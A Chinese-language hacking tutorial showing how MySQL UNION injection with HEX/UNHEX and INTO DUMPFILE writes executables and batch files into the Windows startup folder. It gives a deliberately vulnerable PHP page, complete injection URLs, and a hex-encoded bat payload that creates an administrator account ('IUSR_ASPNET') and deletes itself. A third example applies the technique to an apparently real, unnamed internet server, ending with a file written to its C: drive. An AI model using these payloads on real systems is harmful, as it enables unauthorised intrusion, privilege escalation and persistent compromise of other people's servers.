作者:sai52[B.H.S.T] blog:www.sai52.com
前言
之前在《mysql下读取文件的几种方式及应用》一文中提到在mysql注入中理论上应该可以导出可执行二进制文件到启动项的说法,现给出原理及实例供大家参考。
MYSQL注入中导出文件需满足的条件大家都知道,就不多说了,要导出可执行二进制文件还需注入点必须存在二进制编码格式数据类型的字段(如BLOB或LONGBLOB数据类型)。要导出可执行bat文件对字段的数据类型没有要求。其他一些附加限制条件依环境而定。
在注入页面无法爆出物理路径的情况下,如果满足上述条件,可以考虑用这种方法得到权限。
实现原理
将可执行文件用HEX()编码后,分段导出并UNHEX()解码所有HEX()编码后的文件分段,在导出的文件中重组为完整的文件。
相关以下几个方面的知识,不懂可以参考。
1. 不同数据类型的字段可存储同种编码方式的数据
MYSQL数据库中,要存取不同编码方式的数据,列数据类型必须与欲存取数据的编码方式相对应。当表中各不同数据类型的列中存储的数据采用同一种编码方式时,尽管各个列的数据类型不同,此时表中只有一种编码方式。因此当把一个文件按数据表中的列数分为多段并以同种编码方式存储于各不同数据类型的列中时,若将整个数据表中的数据按列顺序导出到同一个文件中,就可以重组还原成同一编码的完整文件。HEX编码方式役属于几乎所有数据类型,在int,text,blob,data ...等数据类型中,在其存储范围内,被hex()编码过的文件都可以合法存储。
2. 各数据类型的存储范围
我们平时在注入中使用UNION查询一般都采用数字匹配字段的方式以达到select_expression的适用条件(即UNION后面查选的字段数量、字段数据类型都应该与最前面SELECT的一样),这是因为数字役属于几乎所有数据类型,因此可以匹配任何字段,HEX编码方式同样役属于几乎所有数据类型,因此我们可以把一个文件用HEX()函数编码,接着把编码后的文件按数据表中的列数分为多段数据,每一段数据按顺序匹配对应字段,构造注入URL,导出完整的文件。
在把HEX()编码后的文件分段时,需要了解各数据类型的存储范围,从而判断注入点各字段允许提交数据的长度和可存储编码范围,以便把最长的分段数据放在存储范围最大的数据类型的字段上。详细请参照《MySQL数据类型简介》(http://www.sai52.com/archives/769/)。
3. UNION的特性导致的不同注入点利用方法
MYSQL只要数据能在对应数据类型的列中完整存储,就可以导出任意文件名的完整文件。也就是说,我们把二进制文件用HEX()编码后可以存储在TEXT数据类型等非二进制编码的字段上,导出时UNHEX()解码依然能保存为完整的二进制文件。如 - mysql>create table a (id int,cmd TEXT);
- mysql>insert into a (id,cmd) values (1,hex(load_file('c:\\windows\\system32\\regedt32.exe')));
- mysql>select unhex(cmd) FROM a where id =1 INTO DUMPFILE 'd:\\regedt32.exe';
语句中unhex(cmd)已经改变了所选字段的数据类型为二进制,因此可以导出完整的二进制文件,而在注入中我们用UNION连接SELECT语句时,UNION后面查询的字段数量、字段数据类型都得与最前面的SELECT一样,此时 - SELECT cmd FROM a where id=1 and 1=2 UNION SELECT unhex(cmd) FROM a INTO DUMPFILE 'd:\\regedt32.exe';
语句中unhex(cmd)字段的数据类型与最前面的cmd字段的数据类型不同,二进制编码的数据无法在TEXT数据类型中完整储存,因此无法导出完整的二进制文件。要导出完整的二进制文件,最前面SELECT所选的字段中必须有以二进制存储数据的数据类型,如BLOB,LONGBLOB等。导出bat文件无此要求,任何类型的字段只要在其存储范围内都可以。
4. INTO DUMPFILE 的特性
如果使用INTO DUMPFILE导出数据,则MySQL只把一行写入到文件中,不对任何列或行进行终止,也不执行任何转义处理。INTO DUMPFILE 的这个特性说白了就是“无缝连接”,它既可以用于从列中导出数据到文件,也可以用于从表中导出数据到文件。
UNHEX()函数执行从HEX()的反向操作。就是说,它将参数中的每一对十六进制数字理解为一个数字,并将其转化为该数字代表的字符。结果字符以二进制字符串的形式返回。0x与UNHEX()意义相同。
当表中的各个不同数据类型的列依次存储了所有的HEX编码后的文件分段时,用SELECT 0x文件十六进制数据part1,0x文件十六进制数据part2,0x文件十六进制数据part3,....0x文件十六进制数据partN INTO DUMPFILE 的方式导出表中全部数据到一个新文件,此时各个列中的HEX编码文件分段分别被还原到新文件中的对应顺序部分,之后被“无缝连接”在一起,形成一个与原文件编码方式及大小一模一样的新文件,被保存到你想要它去的地方,比如启动项。
5. GET与POST方式提交数据的限制
注入点多以GET方式取得数据,而GET方式请求的URL长度受特定的浏览器及服务器两方面的限制(注意这个限制是整个URL长度,而不仅仅是你的参数值数据长度):
如果URL的长度超出客户端浏览器限制,提交时浏览器无响应。 如果URL的长度超出服务器限制,服务器不处理请求,返回错误提示“Url Too Long”。
GET方式提交超长URL时,建议使用NC或数据提交工具。
经过实验得知,用GET方式传递WEB页面参数时服务器允许的最大值为16000字节左右(WIN2003+IIS环境),也即是说,导出的可执行二进制文件在7.9k以内时,可以正常导出。如果是POST方式的注入点,提交数据的最大长度只受限于服务器设置,如php.ini的设置等。
6.MYSQL默认字符集对导出路径中双字符编码的影响
mysql5提供了几个设置字符集的系统变量,其中character_set_client的值是MYSQL用来获得客户端传递数据的字符集的。
MYSQL(默认安装)设置是latin1的瑞典语排序方式,当我们按照默认设置方式通过PHP存取MySQL数据库时,无论通过哪种方式的编码发送查询,MYSQL都认为传输过来的数据是latin1编码。
网页提交的双字节字符编码数据(如中文,日文,韩文等),(在服务器没有进行特殊设置的情况下)被提交后被默认是UTF8编码(与提交时设定的编码无关),MYSQL按自身默认的latin1编码来读取,双字符编码的文字必然会显示为乱码,这样在用INTO OUTFILE 或 INTO DUMPFILE 导出数据到文件时,导出路径中的双字符编码文字就会显示为乱码,导致MYSQL因为找不到显示成乱码的路径而导致导出文件失败。
如果被注入的php程序源码中包含类似
mysql_query("SET NAMES 'utf8'");
之类的设置使MYSQL服务器用来读取客户端传递数据的字符集为utf8,那么注入中就可以导出文件到双字节字符命名的目录,否则MYSQL会因为找不到显示成乱码的路径而导致导出文件失败。
图01
因此,如果MYSQL服务器使用的是UTF编码,或者PHP连接MYSQL数据库的语句中包含类似
mysql_query("SET NAMES 'utf8'");
之类的设置时,导出文件到双字节字符编码的文件路径成为可能,否则会导致导出失败。如果导出文件的保存路径中不包含双字节字符编码,则没有任何限制。
实例1 导出exe文件到启动项(本机搭建的 WIN2003+IIS+PHP5+MYSQL5 环境 magic_quotes_gpc=off)
PHP代码:injection.php - <?
- $mysql_server_name = "localhost";
- $mysql_username = "root";
- $mysql_password = "123456";
- $mysql_database = "injection";
-
- $conn=mysql_connect( $mysql_server_name, $mysql_username, $mysql_password );
- mysql_select_db($mysql_database,$conn);
- mysql_query("SET NAMES 'utf8'");
- $id=$_GET['id'];
- $sql = "select * from test where id=$id";
- $result = mysql_db_query( $mysql_database, $sql,$conn );
- $row = mysql_fetch_row($result);
-
- p('<html><head>');
- p('<meta http-equiv="Content-Type" content="text/html; charset=GB2312">');
- p('<title>MYSQL INJECTION TEST</title></head><body>');
- p('<p><b><font size="3">MYSQL INJECTION TEST</font></b></p>');
- p('<table style="border-right: medium none; border-top: medium none; border-left: medium none; border-bottom: medium none; border-collapse: collapse" cellspacing="0" cellpadding="0" border="1">');
- p('<tbody>');
-
- p1();
- p('数据类型');
- p2();
- p('内容');
- p3();
-
- p1();
- p('INT');
- p2();
- p($row[0]);
- p3();
-
- p1();
- p('BLOB');
- p2();
- p($row[1]);
- p3();
-
- p1();
- p('CHAR');
- p2();
- p($row[2]);
- p3();
-
- p1();
- p('DATE');
- p2();
- p($row[3]);
- p3();
-
- p1();
- p('LONGBLOB');
- p2();
- p($row[4]);
- p3();
-
- p1();
- p('TEXT');
- p2();
- p($row[5]);
- p3();
-
- p1();
- p('TIME');
- p2();
- p($row[6]);
- p3();
-
- p1();
- p('VARCHAR');
- p2();
- p($row[7]);
- p3();
-
- p('</tbody></table><td><div> </div></td>');
- q('by:');
- s();
- p('<td><div> </div></td>');
- q('blog:<a href="http://www.sai52.com" target="_blank">www.');
- s();
- p('.com</a></body></html>');
-
- function p($line){
- echo $line."\n";
- }
-
- function q($line1){
- echo $line1;
- }
-
- function s(){
- echo str_replace('.','','s.a.i.5.2');
- }
-
- function p1(){
- p('<tr><td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; padding-top: 0cm; border-bottom: windowtext 1pt solid; background-color: transparent" valign="top"><div>');
- }
-
- function p2(){
- p('</div><div> </div></td><td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; border-left-color: #ebe9ed; padding-bottom: 0cm; padding-top: 0cm; border-bottom: windowtext 1pt solid; background-color: transparent" valign="top"><div>');
- }
-
- function p3(){
- p('</div><div> </div></td></tr>');
- }
-
- ?>
创建数据库代码: - //创建数据库
- CREATE DATABASE injection;
-
- //创建包含各种常用数据类型列的表
- CREATE TABLE test (
- id INT(4) unsigned NOT NULL auto_increment,
- blobtest BLOB NOT NULL default '',
- chartest CHAR(10) NOT NULL default '',
- datetest DATE NOT NULL,
- longblobtest LONGBLOB NOT NULL default '',
- texttest TEXT NOT NULL default '',
- timetest TIME NOT NULL,
- varchartest VARCHAR(10) NOT NULL default '',
- PRIMARY KEY (id)
- ) TYPE=MyISAM;
-
- //导入数据
- INSERT INTO test VALUES (1, 'blob', 'char','2009-03-01','longblob','text','23:59:59','varchar');
正常显示的页面
图02
构造注入字段并抓包
图03
现在准备从注入点导出可执行二进制文件至启动项,这里以 regedt32.exe 为例。(下载页面:http://www.cn.filename.info/f/regedt32.exe.html)
先把regedt32.exe转为十六进制编码
mysql>create table a (cmd LONGBLOB); mysql>insert into a (cmd) values (hex(load_file('c:\\windows\\system32\\regedt32.exe'))); mysql>SELECT cmd FROM a INTO DUMPFILE 'd:\\regedt32.txt';
得到 regedt32.exe的HEX编码文件,保存为 regedt32.txt 。
之后把 regedt32.txt 中的字符按注入点字段数分段,这里是8个字段,所以分为8段。这里我们把最长的一段放在第2段,在每段前面添加0x,接着在最后添加 INTO DUMPFILE 'C:\\Documents%20and%20Settings\\All%20Users\\「开始」菜单\\程序\\启动\\test.exe' 。(注意:保存路径中的空格要用%20代替)
图04
用改好的regedt32.txt中的内容替换之前抓包得到的数据中的字段显示部分,构成完整的待发送数据,然后用数据提交工具提交。(注意:数据后面的叹号不要忘了)
图05
此时test.exe已经保存在启动目录里,与regedt32.exe完全一样,可以正常执行。
图06
也可以采用跨库的方法,在能够提交数据的地方(如留言本)导入数据中最长一段,这里以本机的discuz论坛为例。
图07
构造注入URL - id=1%20and%201=2%20union%20select%200x4D5A9000,unhex(message),0x00,0x00,0x00,0x00,0x00,0x00%20from%20discuz.cdb_posts%20where%20tid=1%20into%20dumpfile%20'C:\\Documents%20and%20Settings\\All%20Users\\「开始」菜单\\程序\\启动\\test1.exe'
得到的结果和上面一样,好处在于主要数据不必使用GET方式提交,大小不受浏览器限制(受论坛设置限制)。
图08
实例2 导出bat文件到启动项(本机搭建的 WIN2003+IIS+PHP5+MYSQL5 环境 magic_quotes_gpc=off)
步骤和上面差不多,先把自删除的bat文件转HEX()编码,之后构造注入URL。这次把最长的一段放在TEXT数据类型的字段上。
因为数据比较少,就用浏览器直接提交了。 - id=1%20and%201=2%20union%20select%200x40,0x65,0x63,0x68,0x6F,0x206F66660D0A6E6574207573657220495553525F4153504E455420313233343536202F6164640D0A6E6574206C6F63616C67726F75702061646D696E6973747261746F727320495553525F4153504E4554202F6164640D0A64656C202F6620,0x25,0x30%20into%20dumpfile%20'C:\\Documents%20and%20Settings\\All%20Users\\「开始」菜单\\程序\\启动\\test.bat'
得到如图结果
图09
实例3(网络上存在MYSQL注入漏洞的服务器)
目标注入点 xxxxbin.php?id=249 ,这是个下载型的注入点
xxxxbin.php?id=249 ,提示下载文件
图10
xxxxbin.php?id=249 and 1=1 ,提示下载文件
图11
xxxxbin.php?id=249 and 1=2 ,空白页面,不显错
图12
xxxxbin.php?id=249 order by 10 ,空白页面,不显错
图13
xxxxbin.php?id=249 order by 9 ,提示下载文件,说明是9个字段
图14
xxxxbin.php?id=249 and 1=2 union select 1,2,3,4,5,6,7,8,9 提示下载文件,文件名为4,说明控制下载文件名的字段是4
图15
下载文件并打开,文件内容为3,说明控制下载文件内容的字段是3
图16
从上述目标注入点的表现已经可以猜到--此程序采用的存储方式是把文件直接导入数据库,鉴于其提供下载的文件类型为二进制,可以猜到控制下载文件内容的字段3是BLOB或LONGBLOB数据类型。
之后就是看看权限和MYSQL版本号
xxxxbin.php?id=249 and 1=2 union select 1,2,version(),user(),5,6,7,8,9
图17
图18
没有过滤单引号
图19
现在准备从注入点导出可执行二进制至启动项,这里仍以 regedt32.exe 为例。
把得到的 regedt32.exe的HEX编码文件中的字符按注入点字段数分段,这里是9个字段,所以分为9段。从上面注入点的表现可知--控制下载文件内容的字段3是BLOB或LONGBLOB数据类型,所以我们把最长的一段放在第三段。
抓包
图20
构造URL
图21
发送
图22
登陆上去,看到文件已经保存在C盘了。
图23 |